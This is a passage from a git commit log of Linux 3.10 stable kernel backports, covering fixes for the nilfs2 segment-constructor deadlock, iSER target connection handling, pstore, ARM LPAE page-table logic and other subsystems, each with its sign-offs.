is sufficient to identify a CPU and is portable across arm and arm64. * The following system-wide properties are not provided, as they are not possible to provide generally. Programs relying on these are already tied to particular (32-bit only) boards: - Hardware - Revision - Serial No software has yet been identified for which these remaining differences are problematic. Cc: Greg Hackmann Cc: Ian Campbell Cc: Serban Constantinescu Cc: Will Deacon Cc: cross-distro@lists.linaro.org Cc: linux-api@vger.kernel.org Cc: linux-arm-kernel@lists.infradead.org Cc: linux-kernel@vger.kernel.org Acked-by: Catalin Marinas [Mark: backport to v3.10.x] Signed-off-by: Mark Rutland Signed-off-by: Will Deacon Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7fb51021b516ae5adbeafdbbd38e5bbb62c28404 Author: Ryusuke Konishi Date: Thu Feb 5 12:25:20 2015 -0800 nilfs2: fix deadlock of segment constructor over I_SYNC flag commit 7ef3ff2fea8bf5e4a21cef47ad87710a3d0fdb52 upstream. Nilfs2 eventually hangs in a stress test with fsstress program. This issue was caused by the following deadlock over I_SYNC flag between nilfs_segctor_thread() and writeback_sb_inodes(): nilfs_segctor_thread() nilfs_segctor_thread_construct() nilfs_segctor_unlock() nilfs_dispose_list() iput() iput_final() evict() inode_wait_for_writeback() * wait for I_SYNC flag writeback_sb_inodes() * set I_SYNC flag on inode->i_state __writeback_single_inode() do_writepages() nilfs_writepages() nilfs_construct_dsync_segment() nilfs_segctor_sync() * wait for completion of segment constructor inode_sync_complete() * clear I_SYNC flag after __writeback_single_inode() completed writeback_sb_inodes() calls do_writepages() for dirty inodes after setting I_SYNC flag on inode->i_state. do_writepages() in turn calls nilfs_writepages(), which can run segment constructor and wait for its completion. On the other hand, segment constructor calls iput(), which can call evict() and wait for the I_SYNC flag on inode_wait_for_writeback(). Since segment constructor doesn't know when I_SYNC will be set, it cannot know whether iput() will block or not unless inode->i_nlink has a non-zero count. We can prevent evict() from being called in iput() by implementing sop->drop_inode(), but it's not preferable to leave inodes with i_nlink == 0 for long periods because it even defers file truncation and inode deallocation. So, this instead resolves the deadlock by calling iput() asynchronously with a workqueue for inodes with i_nlink == 0. Signed-off-by: Ryusuke Konishi Cc: Al Viro Tested-by: Ryusuke Konishi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ccefbce98ca2b3cf86cb5050c47ce729018e2386 Author: karl beldan Date: Wed Jan 28 10:58:11 2015 +0100 lib/checksum.c: fix carry in csum_tcpudp_nofold commit 150ae0e94634714b23919f0c333fee28a5b199d5 upstream. The carry from the 64->32bits folding was dropped, e.g with: saddr=0xFFFFFFFF daddr=0xFF0000FF len=0xFFFF proto=0 sum=1, csum_tcpudp_nofold returned 0 instead of 1. Signed-off-by: Karl Beldan Cc: Al Viro Cc: Eric Dumazet Cc: Arnd Bergmann Cc: Mike Frysinger Cc: netdev@vger.kernel.org Cc: linux-kernel@vger.kernel.org Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fffac5dd81e97d8ecc407164fceb4d0b8edad351 Author: Hemmo Nieminen Date: Thu Jan 15 23:01:59 2015 +0200 MIPS: Fix kernel lockup or crash after CPU offline/online commit c7754e75100ed5e3068ac5085747f2bfc386c8d6 upstream. As printk() invocation can cause e.g. a TLB miss, printk() cannot be called before the exception handlers have been properly initialized. This can happen e.g. when netconsole has been loaded as a kernel module and the TLB table has been cleared when a CPU was offline. Call cpu_report() in start_secondary() only after the exception handlers have been initialized to fix this. Without the patch the kernel will randomly either lockup or crash after a CPU is onlined and the console driver is a module. Signed-off-by: Hemmo Nieminen Signed-off-by: Aaro Koskinen Cc: David Daney Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/8953/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f20337a5786c9ee8715d4d11b26c578a42c93b0a Author: Felix Fietkau Date: Thu Jan 15 19:05:28 2015 +0100 MIPS: IRQ: Fix disable_irq on CPU IRQs commit a3e6c1eff54878506b2dddcc202df9cc8180facb upstream. If the irq_chip does not define .irq_disable, any call to disable_irq will defer disabling the IRQ until it fires while marked as disabled. This assumes that the handler function checks for this condition, which handle_percpu_irq does not. In this case, calling disable_irq leads to an IRQ storm, if the interrupt fires while disabled. This optimization is only useful when disabling the IRQ is slow, which is not true for the MIPS CPU IRQ. Disable this optimization by implementing .irq_disable and .irq_enable Signed-off-by: Felix Fietkau Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/8949/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6075b2dd206533e30afe9785c06de1300a636f96 Author: Charlotte Richardson Date: Mon Feb 2 09:36:23 2015 -0600 PCI: Add NEC variants to Stratus ftServer PCIe DMI check commit 51ac3d2f0c505ca36ffc9715ffd518d756589ef8 upstream. NEC OEMs the same platforms as Stratus does, which have multiple devices on some PCIe buses under downstream ports. Link: https://bugzilla.kernel.org/show_bug.cgi?id=51331 Fixes: 1278998f8ff6 ("PCI: Work around Stratus ftServer broken PCIe hierarchy (fix DMI check)") Signed-off-by: Charlotte Richardson Signed-off-by: Bjorn Helgaas CC: Myron Stowe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 275f7ed6b5dde563214338add0213ddaa796bb58 Author: Johan Hovold Date: Mon Jan 26 12:02:46 2015 +0100 gpio: sysfs: fix memory leak in gpiod_sysfs_set_active_low commit 49d2ca84e433dab854c7a866bc6add09cfab682d upstream. Fix memory leak in the gpio sysfs interface due to failure to drop reference to device returned by class_find_device when setting the gpio-line polarity. Fixes: 0769746183ca ("gpiolib: add support for changing value polarity in sysfs") Signed-off-by: Johan Hovold Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f4a77ece50db4a58ca146b884a5499c12aa7110a Author: Johan Hovold Date: Mon Jan 26 12:02:45 2015 +0100 gpio: sysfs: fix memory leak in gpiod_export_link commit 0f303db08df0df9bd0966443ad6001e63960af16 upstream. Fix memory leak in the gpio sysfs interface due to failure to drop reference to device returned by class_find_device when creating a link. Fixes: a4177ee7f1a8 ("gpiolib: allow exported GPIO nodes to be named using sysfs links") Signed-off-by: Johan Hovold Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9aef5dfe43602a2982a47b810772492bdbc423fa Author: Greg Kroah-Hartman Date: Fri Feb 6 06:52:56 2015 -0800 Linux 3.10.68 Signed-off-by: Pranav Vashi commit 4860b2b9d9e695be4301b96e7363836701dc2162 Author: Nicholas Bellinger Date: Fri Jan 30 22:17:31 2015 +0000 target: Drop arbitrary maximum I/O size limit commit 046ba64285a4389ae5e9a7dfa253c6bff3d7c341 upstream. This patch drops the arbitrary maximum I/O size limit in sbc_parse_cdb(), which currently for fabric_max_sectors is hardcoded to 8192 (4 MB for 512 byte sector devices), and for hw_max_sectors is a backend driver dependent value. This limit is problematic because Linux initiators have only recently started to honor block limits MAXIMUM TRANSFER LENGTH, and other non-Linux based initiators (eg: MSFT Fibre Channel) can also generate I/Os larger than 4 MB in size. Currently when this happens, the following message will appear on the target resulting in I/Os being returned with non recoverable status: SCSI OP 28h with too big sectors 16384 exceeds fabric_max_sectors: 8192 Instead, drop both [fabric,hw]_max_sector checks in sbc_parse_cdb(), and convert the existing hw_max_sectors into a purely informational attribute used to represent the granuality that backend driver and/or subsystem code is splitting I/Os upon. Also, update FILEIO with an explicit FD_MAX_BYTES check in fd_execute_rw() to deal with the one special iovec limitiation case. v2 changes: - Drop hw_max_sectors check in sbc_parse_cdb() Reported-by: Lance Gropper Reported-by: Stefan Priebe Cc: Christoph Hellwig Cc: Martin K. Petersen Cc: Roland Dreier Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7987e2a0763aedceb4f782599716efc2110eabf2 Author: Sagi Grimberg Date: Fri Jan 30 22:17:30 2015 +0000 iser-target: Fix implicit termination of connections commit b02efbfc9a051b41e71fe8f94ddf967260e024a6 upstream. In situations such as bond failover, The new session establishment implicitly invokes the termination of the old connection. So, we don't want to wait for the old connection wait_conn to completely terminate before we accept the new connection and post a login response. The solution is to deffer the comp_wait completion and the conn_put to a work so wait_conn will effectively be non-blocking (flush errors are assumed to come very fast). We allocate isert_release_wq with WQ_UNBOUND and WQ_UNBOUND_MAX_ACTIVE to spread the concurrency of release works. Reported-by: Slava Shwartsman Signed-off-by: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 405e8be4f3c1426106518093d7241347e97c9b73 Author: Sagi Grimberg Date: Fri Jan 30 22:17:29 2015 +0000 iser-target: Handle ADDR_CHANGE event for listener cm_id commit ca6c1d82d12d8013fb75ce015900d62b9754623c upstream. The np listener cm_id will also get ADDR_CHANGE event upcall (in case it is bound to a specific IP). Handle it correctly by creating a new cm_id and implicitly destroy the old one. Since this is the second event a listener np cm_id may encounter, we move the np cm_id event handling to a routine. Squashed: iser-target: Move cma_id setup to a function Reported-by: Slava Shwartsman Signed-off-by: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2ef3a5aeb989b80cb7b9dbc01e76aed0e672266b Author: Sagi Grimberg Date: Fri Jan 30 22:17:28 2015 +0000 iser-target: Fix connected_handler + teardown flow race commit 19e2090fb246ca21b3e569ead51a6a7a1748eadd upstream. Take isert_conn pointer from cm_id->qp->qp_context. This will allow us to know that the cm_id context is always the network portal. This will make the cm_id event check (connection or network portal) more reliable. In order to avoid a NULL dereference in cma_id->qp->qp_context we destroy the qp after we destroy the cm_id (and make the dereference safe). session stablishment/teardown sequences can happen in parallel, we should take into account that connected_handler might race with connection teardown flow. Also, protect isert_conn->conn_device->active_qps decrement within the error patch during QP creation failure and the normal teardown path in isert_connect_release(). Squashed: iser-target: Decrement completion context active_qps in error flow Signed-off-by: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1826c2d265cfc4bede2ffb73d624df0a4391112d Author: Sagi Grimberg Date: Fri Jan 30 22:17:27 2015 +0000 iser-target: Parallelize CM connection establishment commit 2371e5da8cfe91443339b54444dec6254fdd6dfc upstream. There is no point in accepting a new CM request only when we are completely done with the last iscsi login. Instead we accept immediately, this will also cause the CM connection to reach connected state and the initiator is allowed to send the first login. We mark that we got the initial login and let iscsi layer pick it up when it gets there. This reduces the parallel login sequence by a factor of more then 4 (and more for multi-login) and also prevents the initiator (who does all logins in parallel) from giving up on login timeout expiration. In order to support multiple login requests sequence (CHAP) we call isert_rx_login_req from isert_rx_completion insead of letting isert_get_login_rx call it. Squashed: iser-target: Use kref_get_unless_zero in connected_handler iser-target: Acquire conn_mutex when changing connection state iser-target: Reject connect request in failure path Signed-off-by: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c349d23b80e830c9ba65fb59c9f1a7b8649954a5 Author: Sagi Grimberg Date: Fri Jan 30 22:17:26 2015 +0000 iser-target: Fix flush + disconnect completion handling commit 128e9cc84566a84146baea2335b3824288eed817 upstream. ISER_CONN_UP state is not sufficient to know if we should wait for completion of flush errors and disconnected_handler event. Instead, split it to 2 states: - ISER_CONN_UP: Got to CM connected phase, This state indicates that we need to wait for a CM disconnect event before going to teardown. - ISER_CONN_FULL_FEATURE: Got to full feature phase after we posted login response, This state indicates that we posted recv buffers and we need to wait for flush completions before going to teardown. Also avoid deffering disconnected handler to a work, and handle it within disconnected handler. More work here is needed to handle DEVICE_REMOVAL event correctly (cleanup all resources). Squashed: iser-target: Don't deffer disconnected handler to a work Signed-off-by: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2c21d0d0324ec7bb391f044a06bbcf3adcc3ed11 Author: Sagi Grimberg Date: Fri Jan 30 22:17:25 2015 +0000 iscsi,iser-target: Initiate termination only once commit 954f23722b5753305be490330cf2680b7a25f4a3 upstream. Since commit 0fc4ea701fcf ("Target/iser: Don't put isert_conn inside disconnected handler") we put the conn kref in isert_wait_conn, so we need .wait_conn to be invoked also in the error path. Introduce call to isert_conn_terminate (called under lock) which transitions the connection state to TERMINATING and calls rdma_disconnect. If the state is already teminating, just bail out back (temination started). Also, make sure to destroy the connection when getting a connect error event if didn't get to connected (state UP). Same for the handling of REJECTED and UNREACHABLE cma events. Squashed: iscsi-target: Add call to wait_conn in establishment error flow Reported-by: Slava Shwartsman Signed-off-by: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 524499052bd6dc9496eebabfe76be6937d4139eb Author: Nicholas Bellinger Date: Fri Jan 30 22:17:24 2015 +0000 vhost-scsi: Add missing virtio-scsi -> TCM attribute conversion commit 46243860806bdc2756f3ce8ac86b4d7c616bcd6c upstream. While looking at hch's recent conversion to drop the MSG_*_TAG definitions, I noticed a long standing bug in vhost-scsi where the VIRTIO_SCSI_S_* attribute definitions where incorrectly being passed directly into target_submit_cmd_map_sgls(). This patch adds the missing virtio-scsi to TCM/SAM task attribute conversion. Cc: Christoph Hellwig Cc: Michael S. Tsirkin Cc: Paolo Bonzini Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f3c0e0aa10ae87a3e569e66ee2157275b6f330ca Author: Hannes Reinecke Date: Fri Jan 30 22:17:23 2015 +0000 tcm_loop: Fix wrong I_T nexus association commit 506787a2c7daed45f0a213674ca706cbc83a9089 upstream. tcm_loop has the I_T nexus associated with the HBA. This causes commands to become misdirected if the HBA has more than one target portal group; any command is then being sent to the first target portal group instead of the correct one. The nexus needs to be associated with the target portal group instead. Signed-off-by: Hannes Reinecke Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 79716b72f39bdb2a385337fc65d1b076efab32e9 Author: Nicholas Bellinger Date: Fri Jan 30 22:17:22 2015 +0000 vhost-scsi: Take configfs group dependency during VHOST_SCSI_SET_ENDPOINT commit ab8edab132829b26dd13db6caca3c242cce35dc1 upstream. This patch addresses a bug where individual vhost-scsi configfs endpoint groups can be removed from below while active exports to QEMU userspace still exist, resulting in an OOPs. It adds a configfs_depend_item() in vhost_scsi_set_endpoint() to obtain an explicit dependency on se_tpg->tpg_group in order to prevent individual vhost-scsi WWPN endpoints from being released via normal configfs methods while an QEMU ioctl reference still exists. Also, add matching configfs_undepend_item() in vhost_scsi_clear_endpoint() to release the dependency, once QEMU's reference to the individual group at /sys/kernel/config/target/vhost/$WWPN/$TPGT is released. (Fix up vhost_scsi_clear_endpoint() error path - DanC) Cc: Michael S. Tsirkin Cc: Paolo Bonzini Cc: Stefan Hajnoczi Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 661848c91cd955b83c31bc68717adf2956439430 Author: Or Gerlitz Date: Fri Jan 30 22:17:21 2015 +0000 ib_isert: Add max_send_sge=2 minimum for control PDU responses commit f57915cfa5b2b14c1cffa2e83c034f55e3f0e70d upstream. This patch adds a max_send_sge=2 minimum in isert_conn_setup_qp() to ensure outgoing control PDU responses with tx_desc->num_sge=2 are able to function correctly. This addresses a bug with RDMA hardware using dev_attr.max_sge=3, that in the original code with the ConnectX-2 work-around would result in isert_conn->max_sge=1 being negotiated. Originally reported by Chris with ocrdma driver. Reported-by: Chris Moore Tested-by: Chris Moore Signed-off-by: Or Gerlitz Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ec69ff1740273a1a55f111b8a189673951702fa9 Author: Chris Moore Date: Fri Jan 30 22:17:20 2015 +0000 IB/isert: Adjust CQ size to HW limits commit b1a5ad006b34ded9dc7ec64988deba1b3ecad367 upstream. isert has an issue of trying to create a CQ with more CQEs than are supported by the hardware, that currently results in failures during isert_device creation during first session login. This is the isert version of the patch that Minh Tran submitted for iser, and is simple a workaround required to function with existing ocrdma hardware. Signed-off-by: Chris Moore Reviewied-by: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ae62a1d776cb63f4eae89a11f9b2faa92dca9925 Author: Tejun Heo Date: Fri Jan 16 14:21:16 2015 -0500 workqueue: fix subtle pool management issue which can stall whole worker_pool commit 29187a9eeaf362d8422e62e17a22a6e115277a49 upstream. A worker_pool's forward progress is guaranteed by the fact that the last idle worker assumes the manager role to create more workers and summon the rescuers if creating workers doesn't succeed in timely manner before proceeding to execute work items. This manager role is implemented in manage_workers(), which indicates whether the worker may proceed to work item execution with its return value. This is necessary because multiple workers may contend for the manager role, and, if there already is a manager, others should proceed to work item execution. Unfortunately, the function also indicates that the worker may proceed to work item execution if need_to_create_worker() is false at the head of the function. need_to_create_worker() tests the following conditions. pending work items && !nr_running && !nr_idle The first and third conditions are protected by pool->lock and thus won't change while holding pool->lock; however, nr_running can change asynchronously as other workers block and resume and while it's likely to be zero, as someone woke this worker up in the first place, some other workers could have become runnable inbetween making it non-zero. If this happens, manage_worker() could return false even with zero nr_idle making the worker, the last idle one, proceed to execute work items. If then all workers of the pool end up blocking on a resource which can only be released by a work item which is pending on that pool, the whole pool can deadlock as there's no one to create more workers or summon the rescuers. This patch fixes the problem by removing the early exit condition from maybe_create_worker() and making manage_workers() return false iff there's already another manager, which ensures that the last worker doesn't start executing work items. We can leave the early exit condition alone and just ignore the return value but the only reason it was put there is because the manage_workers() used to perform both creations and destructions of workers and thus the function may be invoked while the pool is trying to reduce the number of workers. Now that manage_workers() is called only when more workers are needed, the only case this early exit condition is triggered is rare race conditions rendering it pointless. Tested with simulated workload and modified workqueue code which trigger the pool deadlock reliably without this patch. Signed-off-by: Tejun Heo Reported-by: Eric Sandeen Link: http://lkml.kernel.org/g/54B019F4.8030009@sandeen.net Cc: Dave Chinner Cc: Lai Jiangshan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d87d867e5ebdf47686c7bc88de0bfcc45eb63556 Author: Martin Kaiser Date: Fri Jan 30 15:01:29 2015 +0100 gpio: squelch a compiler warning drivers/gpio/gpiolib-of.c: In function 'of_gpiochip_find_and_xlate': drivers/gpio/gpiolib-of.c:51:21: warning: assignment makes integer from pointer without a cast [enabled by default] gg_data->out_gpio = ERR_PTR(ret); ^ this was introduced in d1c3449160df60fac4abb56f0ba0a3784305e43e the upstream kernel changed the type of out_gpio from int to struct gpio_desc * as part of a larger refactoring that wasn't backported Signed-off-by: Martin Kaiser Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 12743c050e6c3276a901df39f8c07a8bc41699eb Author: Madper Xie Date: Fri Nov 29 15:58:57 2013 +0800 efi-pstore: Make efi-pstore return a unique id commit fdeadb43fdf1e7d5698c027b555c389174548e5a upstream. Pstore fs expects that backends provide a unique id which could avoid pstore making entries as duplication or denominating entries the same name. So I combine the timestamp, part and count into id. Signed-off-by: Madper Xie Cc: Seiji Aguchi Cc: stable@vger.kernel.org Signed-off-by: Matt Fleming [hkp: Backported to 3.10: adjust context] Signed-off-by: Hu Keping Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit af7ad2a78ddab76c8e76ad9f4afea6723310d5b7 Author: Liu ShuoX Date: Mon Mar 17 13:57:49 2014 -0700 pstore: Fix NULL pointer fault if get NULL prz in ramoops_get_next_prz commit b0aa931fb84431394d995472d0af2a6c2b61064d upstream. ramoops_get_next_prz get the prz according the paramters. If it get a uninitialized prz, access its members by following persistent_ram_old_size(prz) will cause a NULL pointer crash. Ex: if ftrace_size is 0, fprz will be NULL. Fix it by return NULL in advance. Signed-off-by: Liu ShuoX Acked-by: Kees Cook Signed-off-by: Tony Luck Cc: HuKeping Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cdafeb3e16e68f81c49bd47c99a95b047aeefc57 Author: Liu ShuoX Date: Mon Mar 17 11:24:49 2014 +1100 pstore: skip zero size persistent ram buffer in traverse commit aa9a4a1edfbd3d223af01db833da2f07850bc655 upstream. In ramoops_pstore_read, a valid prz pointer with zero size buffer will break traverse of all persistent ram buffers. The latter buffer might be lost. Signed-off-by: Liu ShuoX Cc: "Zhang, Yanmin" Cc: Colin Cross Reviewed-by: Kees Cook Signed-off-by: Andrew Morton Signed-off-by: Tony Luck Cc: HuKeping Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit afeb97f43255500d377d527ef0ddb17be08fdd28 Author: Dan Carpenter Date: Wed Aug 14 10:55:49 2013 -0700 pstore: d_alloc_name() doesn't return an ERR_PTR commit c39524e6744284452ef45480d3153bec28960c32 upstream. d_alloc_name() returns NULL on error. Also I changed the error code from -ENOSPC to -ENOMEM to reflect that we were short on RAM not disk space. Signed-off-by: Dan Carpenter Acked-by: Kees Cook Signed-off-by: Tony Luck Cc: HuKeping Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e692c5117e2db4637d0b1051bcbc4efdf50c2834 Author: Aruna Balakrishnaiah Date: Tue Jun 25 14:33:56 2013 +0530 pstore: Fail to unlink if a driver has not defined pstore_erase commit bf2883339a33b7544b92ea465b90c3de55082032 upstream. pstore_erase is used to erase the record from the persistent store. So if a driver has not defined pstore_erase callback return -EPERM instead of unlinking a file as deleting the file without erasing its record in persistent store will give a wrong impression to customers. Signed-off-by: Aruna Balakrishnaiah Acked-by: Kees Cook Signed-off-by: Tony Luck Cc: HuKeping Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 59953bfb9cdfcefcbac9b08101ebb82b5d3d6e81 Author: Steven Capper Date: Fri Jul 18 16:16:15 2014 +0100 ARM: 8109/1: mm: Modify pte_write and pmd_write logic for LPAE commit ded9477984690d026e46dd75e8157392cea3f13f upstream. For LPAE, we have the following means for encoding writable or dirty ptes: L_PTE_DIRTY L_PTE_RDONLY !pte_dirty && !pte_write 0 1 !pte_dirty && pte_write 0 1 pte_dirty && !pte_write 1 1 pte_dirty && pte_write 1 0 So we can't distinguish between writeable clean ptes and read only ptes. This can cause problems with ptes being incorrectly flagged as read only when they are writeable but not dirty. This patch renumbers L_PTE_RDONLY from AP[2] to a software bit #58, and adds additional logic to set AP[2] whenever the pte is read only or not dirty. That way we can distinguish between clean writeable ptes and read only ptes. HugeTLB pages will use this new logic automatically. We need to add some logic to Transparent HugePages to ensure that they correctly interpret the revised pgprot permissions (L_PTE_RDONLY has moved and no longer matches PMD_SECT_AP2). In the process of revising THP, the names of the PMD software bits have been prefixed with L_ to make them easier to distinguish from their hardware bit counterparts. Signed-off-by: Steve Capper Reviewed-by: Will Deacon Signed-off-by: Russell King [hpy: Backported to 3.10 - adjust the context - ignore change related to pmd, because 3.10 does not support HugePage ] Signed-off-by: Hou Pengyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4b73a6101cac4a24f52cf57d7570731adb31f7a5 Author: Steven Capper Date: Fri Jul 18 16:15:27 2014 +0100 ARM: 8108/1: mm: Introduce {pte,pmd}_isset and {pte,pmd}_isclear commit f2950706871c4b6e8c0f0d7c3f62d35930b8de63 upstream. Long descriptors on ARM are 64 bits, and some pte functions such as pte_dirty return a bitwise-and of a flag with the pte value. If the flag to be tested resides in the upper 32 bits of the pte, then we run into the danger of the result being dropped if downcast. For example: gather_stats(page, md, pte_dirty(*pte), 1); where pte_dirty(*pte) is downcast to an int. This patch introduces a new macro pte_isset which performs the bitwise and, then performs a double logical invert (where needed) to ensure predictable downcasting. The logical inverse pte_isclear is also introduced. Equivalent pmd functions for Transparent HugePages have also been added. Signed-off-by: Steve Capper Reviewed-by: Will Deacon Signed-off-by: Russell King [hpy: Backported to 3.10: - adjust the context - ignore change to pmd, because 3.10 does not support HugePage.] Signed-off-by: Hou Pengyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 243544542469ea73dc4b1fe2da1d6afa5242397f Author: Russell King Date: Thu Jul 17 12:17:45 2014 +0100 ARM: DMA: ensure that old section mappings are flushed from the TLB commit 6b076991dca9817e75c37e2f0db6d52611ea42fa upstream. When setting up the CMA region, we must ensure that the old section mappings are flushed from the TLB before replacing them with page tables, otherwise we can suffer from mismatched aliases if the CPU speculatively prefetches from these mappings at an inopportune time. A mismatched alias can occur when the TLB contains a section mapping, but a subsequent prefetch causes it to load a page table mapping, resulting in the possibility of the TLB containing two matching mappings for the same virtual address region. Acked-by: Will Deacon Signed-off-by: Russell King Cc: Hou Pengyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2bdd8feec618fab0caad12ec08936cb7562167b9 Author: Laura Abbott Date: Sat Dec 21 01:03:06 2013 +0100 ARM: 7931/1: Correct virt_addr_valid commit efea3403d4b7c6d1dd5d5ac3234c161e8b314d66 upstream. The definition of virt_addr_valid is that virt_addr_valid should return true if and only if virt_to_page returns a valid pointer. The current definition of virt_addr_valid only checks against the virtual address range. There's no guarantee that just because a virtual address falls bewteen PAGE_OFFSET and high_memory the associated physical memory has a valid backing struct page. Follow the example of other architectures and convert to pfn_valid to verify that the virtual address is actually valid. The check for an address between PAGE_OFFSET and high_memory is still necessary as vmalloc/highmem addresses are not valid with virt_to_page. Cc: Will Deacon Cc: Nicolas Pitre Acked-by: Will Deacon Signed-off-by: Laura Abbott Signed-off-by: Russell King Cc: Hou Pengyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1565718687ea90e0eecdde8f79cb28223d568066 Author: Russell King Date: Tue Dec 10 19:21:08 2013 +0000 ARM: fix asm/memory.h build error commit b713aa0b15015a65ad5421543b80df86de043d62 upstream. Jason Gunthorpe reports a build failure when ARM_PATCH_PHYS_VIRT is not defined: In file included from arch/arm/include/asm/page.h:163:0, from include/linux/mm_types.h:16, from include/linux/sched.h:24, from arch/arm/kernel/asm-offsets.c:13: arch/arm/include/asm/memory.h: In function '__virt_to_phys': arch/arm/include/asm/memory.h:244:40: error: 'PHYS_OFFSET' undeclared (first use in this function) arch/arm/include/asm/memory.h:244:40: note: each undeclared identifier is reported only once for each function it appears in arch/arm/include/asm/memory.h: In function '__phys_to_virt': arch/arm/include/asm/memory.h:249:13: error: 'PHYS_OFFSET' undeclared (first use in this function) Fixes: ca5a45c06cd4 ("ARM: mm: use phys_addr_t appropriately in p2v and v2p conversions") Tested-By: Jason Gunthorpe Signed-off-by: Russell King [hpy: Backported to 3.10: - adjust the context - MPU is not supported by 3.10, so ignore fix to MPU compared with the original patch.] Signed-off-by: Hou Pengyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a46890af8abd8d126c79b0540db6de926eeaa27d Author: Chen Gang Date: Sat Oct 26 15:07:25 2013 +0100 ARM: 7867/1: include: asm: use 'int' instead of 'unsigned long' for 'oldval' in atomic_cmpxchg(). commit 4dcc1cf7316a26e112f5c9fcca531ff98ef44700 upstream. For atomic_cmpxchg(), the type of 'oldval' need be 'int' to match the type of "*ptr" (used by 'ldrex' instruction) and 'old' (used by 'teq' instruction). Reviewed-by: Will Deacon Signed-off-by: Chen Gang Signed-off-by: Will Deacon Signed-off-by: Russell King Cc: Hou Pengyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 53b9928ac917bf69956aacd94f9f29f7fbc6d950 Author: Chen Gang Date: Sat Oct 26 15:07:04 2013 +0100 ARM: 7866/1: include: asm: use 'long long' instead of 'u64' within atomic.h commit 237f12337cfa2175474e4dd015bc07a25eb9080d upstream. atomic* value is signed value, and atomic* functions need also process signed value (parameter value, and return value), so 32-bit arm need use 'long long' instead of 'u64'. After replacement, it will also fix a bug for atomic64_add_negative(): "u64 is never less than 0". The modifications are: in vim, use "1,% s/\/long long/g" command. remove '__aligned(8)' which is useless for 64-bit. be sure of 80 column limitation after replacement. Acked-by: Will Deacon Signed-off-by: Chen Gang Signed-off-by: Will Deacon Signed-off-by: Russell King Cc: Hou Pengyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8fa303356d1c3d39027bf3f436a28277b13f9dd3 Author: Will Deacon Date: Thu May 2 13:52:01 2013 +0100 ARM: lpae: fix definition of PTE_HWTABLE_PTRS commit e38a517578d6c0f764b0d0f6e26dcdf9f70c69d7 upstream. For 2-level page tables, PTE_HWTABLE_PTRS describes the offset between Linux PTEs and hardware PTEs. On LPAE, there is no distinction (since we have 64-bit descriptors with plenty of space) so PTE_HWTABLE_PTRS should be 0. Unfortunately, it is wrongly defined as PTRS_PER_PTE, meaning that current pte table flushing is off by a page. Luckily, all current LPAE implementations are SMP, so the hardware walker can snoop L1. This patch fixes the broken definition. Acked-by: Catalin Marinas Signed-off-by: Will Deacon Cc: Hou Pengyang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8b78ad6183e4b361a483d90906dfb65d1b223cf9 Author: Cyril Chemparathy Date: Wed Sep 12 10:19:05 2012 -0400 ARM: fix type of PHYS_PFN_OFFSET to unsigned long commit 5b20c5b2f014ecc0a6310988af69cd7ede9e7c67 upstream. On LPAE machines, PHYS_OFFSET evaluates to a phys_addr_t and this type is inherited by the PHYS_PFN_OFFSET definition as well. Consequently, the kernel build emits warnings of the form: init/main.c: In function 'start_kernel': init/main.c:588:7: warning: format '%lx' expects argument of type 'long unsigned int', but argument 2 has type 